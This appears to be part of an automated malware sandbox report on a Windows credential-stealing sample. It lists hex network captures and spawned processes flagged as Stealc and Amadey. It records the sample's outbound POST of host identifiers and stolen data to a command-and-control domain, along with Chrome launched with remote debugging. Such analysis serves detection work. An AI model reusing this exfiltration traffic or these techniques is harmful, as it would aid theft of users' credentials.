2024-12-19 06:58:21 UTC	1369	IN	Data Raw: 46 33 64 4f 31 49 78 71 42 43 4d 64 32 30 51 64 54 76 42 73 41 39 75 77 72 42 56 77 38 66 37 39 39 61 57 70 59 36 6e 79 6e 57 6b 6c 65 56 69 65 6b 69 30 51 62 78 66 51 41 30 6f 4c 73 79 56 41 33 61 4c 6c 51 54 2f 58 39 2b 54 7a 2b 65 45 69 74 37 65 4a 4a 53 4a 34 46 63 7a 54 4a 42 64 6d 45 4e 6f 48 53 67 33 68 61 67 62 49 75 71 67 54 62 66 7a 78 36 76 4b 76 74 6d 47 75 2f 35 74 70 4e 33 31 56 6c 35 68 6b 55 79 4d 64 7a 30 51 64 54 74 42 38 46 74 43 39 71 51 39 30 39 2f 6e 35 38 72 4c 37 4c 4f 6a 6f 6c 33 52 6c 4c 45 4f 45 68 43 4d 43 4c 51 4f 58 41 30 6c 4f 71 79 73 47 30 37 79 69 48 33 48 6b 2f 2b 6e 77 72 62 4a 72 72 50 47 54 5a 53 46 77 55 70 47 51 4b 42 5a 6b 47 64 67 41 54 41 44 36 5a 45 43 55 2b 71 49 42 50 36 36 36 7a 75 53 68 74 32 2f 6f 35 74 35 Data Ascii: F3dO1IxqBCMd20QdTvBsA9uwrBVw8f799aWpY6nynWkleVieki0QbxfQA0oLsyVA3aLlQT/X9+Tz+eEit7eJJSJ4FczTJBdmENoHSg3hagbIuqgTbfzx6vKvtmGu/5tpN31Vl5hkUyMdz0QdTtB8FtC9qQ909/n58rL7LOjol3RlLEOEhCMCLQOXA0lOqysG07yiH3Hk/+nwrbJrrPGTZSFwUpGQKBZkGdgATAD6ZECU+qIBP666zuSht2/o5t5
2024-12-19 06:58:21 UTC	281	IN	Data Raw: 39 53 55 50 46 30 37 57 76 63 50 55 77 76 30 66 55 4c 76 75 61 73 58 65 4f 43 36 38 4d 44 73 2b 32 32 79 75 63 68 63 50 44 52 53 6d 4e 4e 38 58 58 59 64 31 77 4e 66 47 50 52 6e 45 64 47 33 71 54 74 77 38 65 7a 73 38 4b 47 71 61 2b 54 79 6e 53 56 72 4e 46 4b 4d 30 33 78 64 54 42 33 42 42 32 6f 4e 34 6d 4a 41 6c 50 71 69 44 7a 2b 75 75 74 47 2f 73 4c 68 79 71 2f 61 42 57 32 55 73 54 4b 72 54 4c 77 74 6b 43 74 51 53 54 67 50 2f 65 6a 36 61 34 76 46 4c 4c 61 53 6f 76 65 44 69 70 46 33 6d 75 5a 45 6c 66 55 31 4d 31 49 56 6b 52 54 46 55 6c 78 59 46 56 72 4d 73 41 38 69 6f 6f 78 70 70 39 62 33 52 77 59 57 74 61 4b 2f 70 6c 33 49 71 4e 42 76 55 6e 47 52 46 57 6c 72 65 41 31 34 66 35 57 59 51 33 66 71 61 56 7a 2f 75 75 72 65 2f 6c 37 68 73 70 76 36 47 64 47 68 54 Data Ascii: 9SUPF07WvcPUwv0fULvuasXeOC68MDs+22yuchcPDRSmNN8XXYd1wNfGPRnEdG3qTtw8ezs8KGqa+TynSVrNFKM03xdTB3BB2oN4mJAlPqiDz+uutG/sLhyq/aBW2UsTKrTLwtkCtQSTgP/ej6a4vFLLaSoveDipF3muZElfU1M1IVkRTFUlxYFVrMsA8iooxpp9b3RwYWtaK/pl3IqNBvUnGRFWlreA14f5WYQ3fqaVz/uure/l7hspv6GdGhT
2024-12-19 06:58:21 UTC	1369	IN	Data Raw: 32 63 36 30 0d 0a 50 36 36 71 76 61 54 33 36 44 58 34 71 34 38 72 50 44 52 44 31 4d 74 32 55 79 4d 49 6c 31 77 46 53 66 42 35 45 74 79 35 73 78 6f 34 79 4d 54 49 35 61 2b 39 64 62 6e 48 72 6d 49 2f 65 56 4f 44 67 6d 67 49 59 42 54 5a 41 31 4e 4f 76 53 73 50 6d 75 4b 63 57 54 65 32 78 61 47 2f 75 76 73 36 36 4d 79 54 61 79 74 7a 51 34 58 65 41 77 64 75 48 4d 41 56 42 55 43 7a 62 55 43 43 36 75 74 5a 65 2b 65 36 74 36 2f 77 34 44 66 37 72 73 41 33 4f 6a 70 4d 31 49 56 6b 52 54 46 55 6c 78 59 46 56 72 4d 73 41 38 69 6f 6f 78 70 70 39 62 33 52 77 59 79 38 5a 4b 33 2b 67 43 63 4c 66 30 47 54 30 32 70 64 62 46 71 50 50 51 56 47 73 31 52 4f 6d 71 4c 6c 51 54 2f 44 2b 65 48 78 70 61 31 7a 35 64 65 58 59 79 42 7a 52 64 61 39 4c 77 6c 6b 57 70 6c 45 51 30 36 72 4f Data Ascii: 2c60P66qvaT36DX4q48rPDRD1Mt2UyMIl1wFSfB5Ety5sxo4yMTI5a+9dbnHrmI/eVODgmgIYBTZA1NOvSsPmuKcWTe2xaG/uvs66MyTaytzQ4XeAwduHMAVBUCzbUCC6utZe+e6t6/w4Df7rsA3OjpM1IVkRTFUlxYFVrMsA8iooxpp9b3RwYy8ZK3+gCcLf0GT02pdbFqPPQVGs1ROmqLlQT/D+eHxpa1z5deXYyBzRda9LwlkWplEQ06rO
2024-12-19 06:58:21 UTC	1369	IN	Data Raw: 33 48 33 7a 67 2b 61 6a 42 6e 4a 78 73 72 2f 69 47 64 54 4a 37 47 72 71 6c 42 53 4e 64 44 39 51 4b 53 77 6e 6c 65 6b 43 55 2b 71 70 5a 4a 38 2b 36 70 37 2b 64 39 53 4b 77 75 63 67 6c 45 48 64 62 6d 70 51 79 44 43 34 39 32 51 4e 45 47 4f 4e 38 44 35 57 55 6b 7a 67 2f 75 4c 72 70 76 2f 72 70 4c 4f 6a 39 67 53 56 39 4a 41 66 50 78 6e 64 4b 4d 30 6a 49 53 6c 78 4f 35 53 74 59 69 50 54 6c 43 7a 2b 75 75 71 6a 38 73 4b 6c 6b 71 2b 2b 54 49 68 74 4b 63 70 71 55 4a 51 74 7a 46 39 73 6c 52 68 2f 35 56 54 37 50 75 61 73 58 65 4f 44 72 72 37 48 69 74 43 4c 77 77 4e 41 74 5a 55 73 62 31 49 74 6b 52 53 4d 76 31 41 70 4c 43 65 56 36 54 66 32 30 6f 68 68 70 35 76 66 6a 33 71 47 71 61 4f 69 33 30 47 4e 6c 4c 41 66 61 30 79 41 4d 49 30 4b 48 56 68 35 62 6f 44 78 51 69 4b Data Ascii: 3H3zg+ajBnJxsr/iGdTJ7GrqlBSNdD9QKSwnlekCU+qpZJ8+6p7+d9SKwucglEHdbmpQyDC492QNEGON8D5WUkzg/uLrpv/rpLOj9gSV9JAfPxndKM0jISlxO5StYiPTlCz+uuqj8sKlkq++TIhtKcpqUJQtzF9slRh/5VT7PuasXeODrr7HitCLwwNAtZUsb1ItkRSMv1ApLCeV6Tf20ohhp5vfj3qGqaOi30GNlLAfa0yAMI0KHVh5boDxQiK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.4	49925	172.67.209.202	443	2176	C:\Users\user\AppData\Local\Temp\1017408001\8c6b987a2c.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-19 06:58:22 UTC	278	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=MAY2S4EU39G User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 18120 Host: pancakedipyps.click
2024-12-19 06:58:22 UTC	15331	OUT	Data Raw: 2d 2d 4d 41 59 32 53 34 45 55 33 39 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 42 30 30 36 30 44 38 44 33 41 38 39 34 31 38 36 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 4d 41 59 32 53 34 45 55 33 39 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 4d 41 59 32 53 34 45 55 33 39 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 46 41 54 45 39 39 2d 2d 74 65 73 74 0d 0a 2d 2d 4d 41 59 32 53 34 45 55 33 39 47 0d 0a 43 6f 6e 74 65 Data Ascii: --MAY2S4EU39GContent-Disposition: form-data; name="hwid"B0060D8D3A894186AC8923850305D13E--MAY2S4EU39GContent-Disposition: form-data; name="pid"2--MAY2S4EU39GContent-Disposition: form-data; name="lid"FATE99--test--MAY2S4EU39GConte
2024-12-19 06:58:22 UTC	2789	OUT	Data Raw: 66 e1 9f 97 c5 15 2e a7 07 cf 5c b7 ad 66 f0 cc 99 a8 33 f7 13 05 cf ec 85 7a 3b 85 8d 54 32 2f 1f e5 1b c1 33 7b 37 a5 bf 9f 8e 3a f1 6e 9a e0 79 69 60 c1 4c a6 f2 f7 de 4b 1f 36 af 1d f9 d7 e0 58 6d 5b 0b fd 9c 0a b5 9b 60 cc b0 d7 ab 1f 3b d0 52 0a 9f fd 54 22 95 3f 7a 94 ff 75 ab 9f a1 e3 6f 93 83 99 38 43 4e 2f 95 2f 6d 6e ac ae d3 03 1e ad ac 6f 7a a3 8a 81 36 d9 bf 1f 83 71 fd 1a ed c5 4d d3 3e 9b d8 ac 97 0c bd 15 36 2b 97 37 bb ef 2e 57 0f bc 3e 57 2a 0f 97 2f ad 6d 4a a7 02 2f 2b 7f 42 10 78 3e ba 45 a8 b5 6d 75 bf 83 75 53 b3 09 3b 9c 3e 27 56 d3 d4 ab d6 33 5e 4f 4d 1f 4e cd b2 89 b4 bc b1 b1 56 29 af ef 1e fa 70 79 ed 62 65 cf 7b d9 de 73 45 81 36 af a9 da 16 51 bc 21 8f 77 45 11 8f 43 d4 61 11 d5 14 88 8d cc 54 77 94 6d 93 be 93 15 d7 52 9c Data Ascii: f.\f3z;T2/3{7:nyi`LK6Xm[`;RT"?zuo8CN//mnoz6qM>6+7.W>W*/mJ/+Bx>EmuuS;>'V3^OMNV)pybe{sE6Q!wECaTwmR
2024-12-19 06:58:24 UTC	1130	IN	HTTP/1.1 200 OK Date: Thu, 19 Dec 2024 06:58:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=2aelr0da2senj8phrr1mtok5t2; expires=Mon, 14 Apr 2025 00:45:02 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=UuAp0uorcxyxd%2Bm2bANgCV%2FqcLYeeOQxNLScpmne%2BswDZRWPH0UMNG2PpCE22R9r1xh71dkoARBGF1UfvlbkFCwIH9ZSn1c2k2arXLV9dcom977Lti12MkIVFFc48QavQOTlOH2O"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f4580fe28cb43f9-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1664&min_rtt=1655&rtt_var=640&sent=14&recv=23&lost=0&retrans=0&sent_bytes=2848&recv_bytes=19078&delivery_rate=1684939&cwnd=183&unsent_bytes=0&cid=7347669c90de1acb&ts=1158&x=0"
2024-12-19 06:58:24 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-19 06:58:24 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Target ID:	0
Start time:	01:56:15
Start date:	19/12/2024
Path:	C:\Users\user\Desktop\AWrVzd6XpC.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\AWrVzd6XpC.exe"
Imagebase:	0x1f0000
File size:	1'862'144 bytes
MD5 hash:	D0BB2FA7815AE25E59827DD3E8A710BA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.1830842138.0000000000C7E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.1834366630.0000000000C7E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.1827868227.0000000000C7E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.1836312531.0000000000C7E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.1832522156.0000000000C7E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.1831567671.0000000000C7E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.1835201454.0000000000C7E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.1834620512.0000000000C7E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.1834122320.0000000000C7E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.1830212681.0000000000C7E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.1829521154.0000000000C7E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.1828173832.0000000000C7E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.1830344837.0000000000C7E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.1831976810.0000000000C7E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.1832350531.0000000000C7E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.1828033872.0000000000C7E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.1835695200.0000000000C7E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.1833765561.0000000000C7E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.1827517066.0000000000C7E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.1827703782.0000000000C7E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.1835906268.0000000000C7E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.1829378955.0000000000C7E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.1803073510.0000000000C7D000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.1829717579.0000000000C7E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.1834865370.0000000000C7E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.1829232794.0000000000C7E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.1836646510.0000000000CCB000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.1833395225.0000000000C7E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.1836130970.0000000000C7E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.1833971224.0000000000C7E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.1829992929.0000000000C7E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.1829083326.0000000000C7E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.1780052201.0000000000C7D000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.1835443939.0000000000C7E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.1835054371.0000000000C7E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.1802647580.0000000000C7D000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.1833569093.0000000000C7E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.1830465001.0000000000C7E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.1831230939.0000000000C7E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.1833055693.0000000000C7E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.1836406182.0000000000C7E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.1830574619.0000000000C7E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.1831383332.0000000000C7E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.1832804800.0000000000C7E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.1827362513.0000000000C7D000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.1831043610.0000000000C7E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	01:56:46
Start date:	19/12/2024
Path:	C:\Users\user\AppData\Local\Temp\I8WIG9OBFWN5NKZK2DW5QG7.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\I8WIG9OBFWN5NKZK2DW5QG7.exe"
Imagebase:	0x710000
File size:	1'733'632 bytes
MD5 hash:	9DFBAEBCE6E517991F34B94C67A038E2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	01:56:51
Start date:	19/12/2024
Path:	C:\Users\user\AppData\Local\Temp\BSXM76J67J2SWCC02VQCUVS8ZQNV.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\BSXM76J67J2SWCC02VQCUVS8ZQNV.exe"
Imagebase:	0xae0000
File size:	2'869'248 bytes
MD5 hash:	696EE1C9D08773339EFE314269DCF7F5
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000005.00000003.2056866010.0000000005310000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000005.00000002.2518247664.0000000000AE1000.00000040.00000001.01000000.00000009.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000005.00000002.2523365754.00000000014EE000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000005.00000002.2523365754.0000000001562000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	01:57:02
Start date:	19/12/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory=""
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	01:57:05
Start date:	19/12/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2304 --field-trial-handle=2152,i,2628833055758464656,3671942002628808571,262144 /prefetch:8
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	01:57:37
Start date:	19/12/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\Documents\GCBKECAKFB.exe"
Imagebase:	0x240000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	01:57:37
Start date:	19/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	01:57:37
Start date:	19/12/2024
Path:	C:\Users\user\Documents\GCBKECAKFB.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Documents\GCBKECAKFB.exe"
Imagebase:	0x810000
File size:	3'047'424 bytes
MD5 hash:	B48526E3264A9EBF9AE221DF76F8511E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000000C.00000003.2504800940.0000000004760000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000000C.00000002.2547468829.0000000000811000.00000040.00000001.01000000.0000000F.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	01:57:40
Start date:	19/12/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Imagebase:	0x540000
File size:	3'047'424 bytes
MD5 hash:	B48526E3264A9EBF9AE221DF76F8511E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000000D.00000003.2537187221.0000000004DF0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000000D.00000002.2578023164.0000000000541000.00000040.00000001.01000000.00000012.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	01:57:40
Start date:	19/12/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Imagebase:	0x540000
File size:	3'047'424 bytes
MD5 hash:	B48526E3264A9EBF9AE221DF76F8511E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000000E.00000003.2539502026.0000000004BA0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000000E.00000002.2579902059.0000000000541000.00000040.00000001.01000000.00000012.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	01:58:00
Start date:	19/12/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Imagebase:	0x540000
File size:	3'047'424 bytes
MD5 hash:	B48526E3264A9EBF9AE221DF76F8511E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000000F.00000003.2734844908.0000000004B80000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000000F.00000002.2949729099.0000000000541000.00000040.00000001.01000000.00000012.sdmp, Author: Joe Security
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	16
Start time:	01:58:11
Start date:	19/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1017408001\8c6b987a2c.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1017408001\8c6b987a2c.exe"
Imagebase:	0xdc0000
File size:	776'832 bytes
MD5 hash:	AFD936E441BF5CBDB858E96833CC6ED3
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 68%, ReversingLabs
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	01:58:12
Start date:	19/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	01:58:15
Start date:	19/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1017408001\8c6b987a2c.exe
Wow64 process (32bit):	true
